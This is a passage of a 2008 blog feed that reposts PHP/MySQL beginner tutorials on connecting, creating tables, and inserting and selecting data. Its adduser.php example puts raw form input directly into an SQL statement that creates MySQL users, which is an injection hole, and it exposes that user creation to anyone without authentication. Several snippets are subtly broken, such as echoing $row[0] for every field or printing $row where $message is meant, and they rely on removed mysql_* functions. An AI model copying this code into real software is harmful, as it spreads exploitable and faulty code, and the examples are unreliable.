/&gt;&lt;br /&gt;$query  = "SELECT name, subject, message FROM contact";&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;while($row = mysql_fetch_array($result, MYSQL_NUM))&lt;br /&gt;{&lt;br /&gt;    echo "Name :{$row[0]} &lt;br&gt;" .&lt;br /&gt;         "Subject : {$row[0]} &lt;br&gt;" . &lt;br /&gt;         "Message : {$row[0]} &lt;br&gt;&lt;br&gt;";&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;Using the constant MYSQL_NUM with mysql_fetch_array() gives the same result as the function mysql_fetch_row(). &lt;br /&gt;&lt;br /&gt;There is another method for you to get the values from a row. You can use list(), to assign a list of variables in one operation. &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$query  = "SELECT name, subject, message FROM contact";&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;while(list($name,$subject,$message)= mysql_fetch_row($result))&lt;br /&gt;{&lt;br /&gt;    echo "Name :$name &lt;br&gt;" .&lt;br /&gt;         "Subject : $subject &lt;br&gt;" . &lt;br /&gt;         "Message : $row &lt;br&gt;&lt;br&gt;";&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;In above example, list() assign the values in the array returned by mysql_fetch_row() into the variable $name, $subject and $message.&lt;br /&gt;&lt;br /&gt;Of course you can also do it like this&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$query  = "SELECT name, subject, message FROM contact";&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;while($row = mysql_fetch_row($result))&lt;br /&gt;{&lt;br /&gt;    $name    = $row[0];&lt;br /&gt;    $subject = $row[1];&lt;br /&gt;    $message = $row[2];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    echo "Name :$name &lt;br&gt;" .&lt;br /&gt;         "Subject : $subject &lt;br&gt;" . &lt;br /&gt;         "Message : $row &lt;br&gt;&lt;br&gt;";&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Source : http://www.php-mysql-tutorial.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-265818740525594265?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/265818740525594265/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=265818740525594265&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/265818740525594265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/265818740525594265'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/get-data-from-mysql-database.html' title='Get Data From MySQL Database'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-1337558607335021830</id><published>2008-03-22T00:42:00.000-07:00</published><updated>2008-03-22T00:43:25.448-07:00</updated><title type='text'>Insert Data To MySQL Database</title><content type='html'>Inserting data to MySQL is done by using mysql_query() to execute INSERT query. Note that the query string should not end with a semicolon. Below is an example of adding a new MySQL user by inserting a new row into table user in database mysql :&lt;br /&gt;&lt;br /&gt;Example : insert.php&lt;br /&gt;Source code : insert.phps &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;mysql_select_db($mysql);&lt;br /&gt;$query = "INSERT INTO user (host, user, password, select_priv, insert_priv, update_ priv) VALUES ('localhost', 'phpcake', PASSWORD('mypass'), 'Y', 'Y', 'Y')";&lt;br /&gt;&lt;br /&gt;mysql_query($query) or die('Error, insert query failed');&lt;br /&gt;&lt;br /&gt;$query = "FLUSH PRIVILEGES";&lt;br /&gt;mysql_query($query) or die('Error, insert query failed');&lt;br /&gt;&lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;In the above example mysql_query() was followed by die(). If the query fail the error message will be printed and the script's execution is terminated. Actually you can use die() with any function that might not execute properly. That way you can be sure that the script won't continue to run when an error occured.&lt;br /&gt;&lt;br /&gt;In a real application the values of an INSERT statement will be form values. As a safe precaution always escape the values using addslashes() if get_magic_quotes_gpc() returns false. Below is an example of using form values with INSERT. It's the same as above except that the new username and password are taken from $_POST :&lt;br /&gt;&lt;br /&gt;Example : adduser.php&lt;br /&gt;Source code : adduser.phps &lt;br /&gt;&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;Add New MySQL User&lt;/title&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;if(isset($_POST['add']))&lt;br /&gt;{&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;$username = $_POST['username'];&lt;br /&gt;$password = $_POST['password'];&lt;br /&gt;&lt;br /&gt;$query = "INSERT INTO user (host, user, password, select_priv, insert_priv, update_ priv) VALUES ('localhost', '$username', PASSWORD('$password'), 'Y', 'Y', 'Y')";&lt;br /&gt;mysql_query($query) or die('Error, insert query failed');&lt;br /&gt;&lt;br /&gt;$query = "FLUSH PRIVILEGES";&lt;br /&gt;mysql_query($query) or die('Error, insert query failed');&lt;br /&gt;&lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;echo "New MySQL user added";&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;?&gt;&lt;br /&gt;&lt;form method="post"&gt;&lt;br /&gt;&lt;table width="400" border="0" cellspacing="1" cellpadding="2"&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;Username&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;input name="username" type="text" id="username"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;Password&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;input name="password" type="text" id="password"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;&amp;nbsp;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;&amp;nbsp;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;input name="add" type="submit" id="add" value="Add New User"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt;Source : http://www.php-mysql-tutorial.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-1337558607335021830?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/1337558607335021830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=1337558607335021830&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1337558607335021830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1337558607335021830'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/insert-data-to-mysql-database.html' title='Insert Data To MySQL Database'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-3161824277547755127</id><published>2008-03-22T00:40:00.000-07:00</published><updated>2008-03-22T00:42:04.311-07:00</updated><title type='text'>Create MySQL Database With PHP</title><content type='html'>To create a database use the mysql_query() function to execute an SQL query like this&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$query  = "CREATE DATABASE phpcake";&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;Please note that the query should not end with a semicolon.&lt;br /&gt;&lt;br /&gt;PHP also provide a function to create MySQL database, mysql_create_db(). This function is deprecated though. It is better to use mysql_query() to execute an SQL CREATE DATABASE statement instead like the above example. &lt;br /&gt;&lt;br /&gt;If you want to create MySQL database using PHP mysql_create_db() function you can do it like this :&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;mysql_create_db('phpcake');&lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;If you want to create tables in the database you just created don't forget to call mysql_select_db() to access the new database.&lt;br /&gt;&lt;br /&gt;Note: some webhosts require you to create a MySQL database and user through your website control panel (such as CPanel). If you get an error when trying to create database this might be the case.&lt;br /&gt;Creating the Tables&lt;br /&gt;&lt;br /&gt;To create tables in the new database you need to do the same thing as creating the database. First create the SQL query to create the tables then execute the query using mysql_query() function.&lt;br /&gt;&lt;br /&gt;Example : contact.php&lt;br /&gt;Source code : contact.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$query  = 'CREATE DATABASE phpcake';&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;mysql_select_db('phpcake') or die('Cannot select database'); &lt;br /&gt;&lt;br /&gt;$query = 'CREATE TABLE contact( '.&lt;br /&gt;         'cid INT NOT NULL AUTO_INCREMENT, '.&lt;br /&gt;         'cname VARCHAR(20) NOT NULL, '.&lt;br /&gt;         'cemail VARCHAR(50) NOT NULL, '.&lt;br /&gt;         'csubject VARCHAR(30) NOT NULL, '.&lt;br /&gt;         'cmessage TEXT NOT NULL, '.&lt;br /&gt;         'PRIMARY KEY(cid))';&lt;br /&gt;&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;Of course when you need to create lots of tables it's a good idea to read the query from a file then save in $query variable instead of writing the query in your script.&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$queryFile = 'myquery.txt';&lt;br /&gt;&lt;br /&gt;$fp    = fopen($queryFile, 'r');&lt;br /&gt;$query = fread($fp, filesize($queryFile));&lt;br /&gt;fclose($fp); &lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Deleting a Database&lt;br /&gt;&lt;br /&gt;As with creating a database, it is also preferable to use mysql_query() and to execute the SQL DROP DATABASE statement instead of using mysql_drop_db()&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;// ... do something here&lt;br /&gt;&lt;br /&gt;$query  = 'DROP DATABASE phpcake';&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;// ... probably do something here too&lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Source : http://www.php-mysql-tutorial.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-3161824277547755127?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/3161824277547755127/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=3161824277547755127&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3161824277547755127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3161824277547755127'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/create-mysql-database-with-php.html' title='Create MySQL Database With PHP'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-484648696460407385</id><published>2008-03-22T00:39:00.000-07:00</published><updated>2008-03-22T00:40:36.441-07:00</updated><title type='text'>Connect to MySQL Database</title><content type='html'>Opening a connection to MySQL database from PHP is easy. Just use the mysql_connect() function like this&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$dbhost = 'localhost';&lt;br /&gt;$dbuser = 'root';&lt;br /&gt;$dbpass = 'password';&lt;br /&gt;&lt;br /&gt;$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die                      ('Error connecting to mysql');&lt;br /&gt;&lt;br /&gt;$dbname = 'petstore';&lt;br /&gt;mysql_select_db($dbname);&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;$dbhost is the name of MySQL server. When your webserver is on the same machine with the MySQL server you can use localhost or 127.0.0.1 as the value of $dbhost. The $dbuser and $dbpass are valid MySQL user name and password. For adding a user to MySQL visit this page : MySQL Tutorial&lt;br /&gt;&lt;br /&gt;Don't forget to select a database using mysql_select_db() after connecting to mysql. If no database selected your query to select or update a table will not work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sometimes a web host will require you to specify the MySQL server name and port number. For example if the MySQL server name is db.php-mysql-tutorial.com and the port number is 3306 (the default port number for MySQL) then you you can modify the above code to :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$dbhost = 'db.php-mysql-tutorial.com:3306';&lt;br /&gt;$dbuser = 'root';&lt;br /&gt;$dbpass = 'password';&lt;br /&gt;&lt;br /&gt;$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die                      ('Error connecting to mysql');&lt;br /&gt;&lt;br /&gt;$dbname = 'petstore';&lt;br /&gt;mysql_select_db($dbname);&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;It's a common practice to place the routine of opening a database connection in a separate file. Then everytime you want to open a connection just include the file. Usually the host, user, password and database name are also separated in a configuration file. &lt;br /&gt;&lt;br /&gt;An example of config.php that stores the connection configuration and opendb.php that opens the connection are : &lt;br /&gt;&lt;br /&gt;Source code : config.phps , opendb.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// This is an example of config.php&lt;br /&gt;$dbhost = 'localhost';&lt;br /&gt;$dbuser = 'root';&lt;br /&gt;$dbpass = 'password';&lt;br /&gt;$dbname = 'phpcake';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// This is an example opendb.php&lt;br /&gt;$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die                      ('Error connecting to mysql');&lt;br /&gt;mysql_select_db($dbname);&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;So now you can open a connection to mysql like this :&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;// ... do something like insert or select, etc&lt;br /&gt;&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;Closing the Connection&lt;br /&gt;&lt;br /&gt;The connection opened in a script will be closed as soon as the execution of the script ends. But it's better if you close it explicitly by calling mysql_close() function. You could also put this function call in a file named closedb.php. &lt;br /&gt;&lt;br /&gt;Source code : closedb.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// an example of closedb.php&lt;br /&gt;// it does nothing but closing&lt;br /&gt;// a mysql database connection&lt;br /&gt;&lt;br /&gt;mysql_close($conn);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Now that you have put the database configuration, opening and closing routines in separate files your PHP script that uses mysql would look something like this :&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;// ... do something like insert or select, etc&lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Source : http://www.php-mysql-tutorial.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-484648696460407385?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/484648696460407385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=484648696460407385&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/484648696460407385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/484648696460407385'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/connect-to-mysql-database.html' title='Connect to MySQL Database'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-1060273034583402334</id><published>2008-03-22T00:37:00.000-07:00</published><updated>2008-03-22T00:38:44.826-07:00</updated><title type='text'>MySQL Update And Delete</title><content type='html'>The statement UPDATE is used to change the value in a table. For example to change to species name from Turtle to Dog&lt;br /&gt;&lt;br /&gt;mysql&gt; UPDATE species SET name = 'Dog' WHERE name = 'Turtle';&lt;br /&gt;Query OK, 1 row affected (0.02 sec)&lt;br /&gt;Rows matched: 1 Changed: 1 Warnings: 0&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT * FROM species;&lt;br /&gt;+----+-------+&lt;br /&gt;| id | name  |&lt;br /&gt;+----+-------+&lt;br /&gt;| 1  | Cat   |&lt;br /&gt;| 2  | Bird  |&lt;br /&gt;| 3  | Fish  |&lt;br /&gt;| 4  | Dog   |&lt;br /&gt;+----+-------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Delete Data&lt;br /&gt;&lt;br /&gt;The DELETE statement deletes rows from a table that satisfy the condition given by the WHERE clause. For example to delete a record from species table where id equals 1&lt;br /&gt;&lt;br /&gt;mysql&gt; DELETE FROM species WHERE id = 1;&lt;br /&gt;Query OK, 1 row affected (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT * FROM species;&lt;br /&gt;+----+-------+&lt;br /&gt;| id | name  |&lt;br /&gt;+----+-------+&lt;br /&gt;| 2  | Bird  |&lt;br /&gt;| 3  | Fish  |&lt;br /&gt;| 4  | Dog   |&lt;br /&gt;+----+-------+&lt;br /&gt;3 rows in set (0.01 sec)&lt;br /&gt;&lt;br /&gt;Now that you alredy know the basics of MySQL it's time to continue the tutorial. You will start learning how to connect to MySQL database using PHP. &lt;br /&gt;&lt;br /&gt;By the way this is a good time for you to download download the MySQL reference manual ( if you haven't done so). It covers in detail about everything you need to know about MySQL. As with the PHP manual you should download the compiled HTML version of MySQL manual because it's easier to browse than other formats.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-1060273034583402334?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/1060273034583402334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=1060273034583402334&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1060273034583402334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1060273034583402334'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/mysql-update-and-delete.html' title='MySQL Update And Delete'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-6712688490201657877</id><published>2008-03-22T00:36:00.000-07:00</published><updated>2008-03-22T00:37:46.965-07:00</updated><title type='text'>Get Data From MySQL</title><content type='html'>Retrieving the table data is easy, just use the SELECT statement like this &lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT * FROM species;&lt;br /&gt;+----+--------+&lt;br /&gt;| id | name   |&lt;br /&gt;+----+--------+&lt;br /&gt;| 1  | Cat    |&lt;br /&gt;| 2  | Bird   |&lt;br /&gt;| 3  | Fish   |&lt;br /&gt;| 4  | Turtle |&lt;br /&gt;+----+--------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;The * from the SELECT statement means select all columns. If you only want the names you can write &lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT name FROM species;&lt;br /&gt;+--------+&lt;br /&gt;| name   |&lt;br /&gt;+--------+&lt;br /&gt;| Cat    |&lt;br /&gt;| Bird   |&lt;br /&gt;| Fish   |&lt;br /&gt;| Turtle |&lt;br /&gt;+--------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;To select only the records that interest you, you can use WHERE statement followed by the definition. For example to select a record from species table where id equals 4 you can do this :&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT * FROM species WHERE id = 4;&lt;br /&gt;+----+--------+&lt;br /&gt;| id | name   |&lt;br /&gt;+----+--------+&lt;br /&gt;| 4  | Turtle |&lt;br /&gt;+----+--------+&lt;br /&gt;1 row in set (0.59 sec)&lt;br /&gt;&lt;br /&gt;If you want to order the returned rows by a criteria you can use ORDER BY like this :&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT * FROM species ORDER BY name;&lt;br /&gt;+----+--------+&lt;br /&gt;| id | name   |&lt;br /&gt;+----+--------+&lt;br /&gt;| 2 | Bird    |&lt;br /&gt;| 1 | Cat     |&lt;br /&gt;| 3 | Fish    |&lt;br /&gt;| 4 | Turtle  |&lt;br /&gt;+----+--------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;By default the result is sorted in ascending order. So this query will give the same result :&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT * FROM species ORDER BY name ASC;&lt;br /&gt;+----+--------+&lt;br /&gt;| id | name   |&lt;br /&gt;+----+--------+&lt;br /&gt;| 2  | Bird   |&lt;br /&gt;| 1  | Cat    |&lt;br /&gt;| 3  | Fish   |&lt;br /&gt;| 4  | Turtle |&lt;br /&gt;+----+--------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;The ASC means ascending order. To get a descending order you just change the ASC with DESC like this :&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT * FROM species ORDER BY name DESC;&lt;br /&gt;+----+--------+&lt;br /&gt;| id | name   |&lt;br /&gt;+----+--------+&lt;br /&gt;| 4  | Turtle |&lt;br /&gt;| 3  | Fish   |&lt;br /&gt;| 1  | Cat    |&lt;br /&gt;| 2  | Bird   |&lt;br /&gt;+----+--------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-6712688490201657877?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/6712688490201657877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=6712688490201657877&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/6712688490201657877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/6712688490201657877'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/get-data-from-mysql.html' title='Get Data From MySQL'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-5109786141855345653</id><published>2008-03-22T00:26:00.000-07:00</published><updated>2008-03-22T00:31:02.588-07:00</updated><title type='text'>Insert Data To MySQL</title><content type='html'>You can insert data to the tables directly from mysql&gt; prompt or by loading a file containing the data. The values will be tab separated one line represent one record.&lt;br /&gt;&lt;br /&gt;To insert the data directly from mysql use the INSERT statement. The format for INSERT is INSERT INTO &lt;table name&gt; (column1, column2, ....) values ( 'value1', 'value2', ...). For example to insert a species name into the table species the command is like this :&lt;br /&gt;&lt;br /&gt;mysql&gt; INSERT INTO species (name) values ('Cat');&lt;br /&gt;Query OK, 1 row affected (0.00 sec)&lt;br /&gt;&lt;br /&gt;Remember to put single quotes around a value it is a string. &lt;br /&gt;&lt;br /&gt;Notice that i don't have to set the value of id because id have AUTO_INCREMENT attribute. Whenever you insert a new record to the table the value of id is set automatically by mysql with increasing values. The AUTO_INCREMENT attribute is commonly used to create unique identity for new rows&lt;br /&gt;&lt;br /&gt;Next example will show how to insert data from a text file, you can get the file here and try in on your computer.&lt;br /&gt;&lt;br /&gt;mysql&gt; LOAD DATA LOCAL INFILE "insert.txt" INTO TABLE species;&lt;br /&gt;Query OK, 3 rows affected (0.00 sec)&lt;br /&gt;&lt;br /&gt;You can also run SQL queries directly from the DOS prompt. Assuming insert.txt is in C:\ you can run the query in insert.txt like this&lt;br /&gt;&lt;br /&gt;C:\mysql &lt; insert.txt&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-5109786141855345653?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/5109786141855345653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=5109786141855345653&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5109786141855345653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5109786141855345653'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/insert-data-to-mysql.html' title='Insert Data To 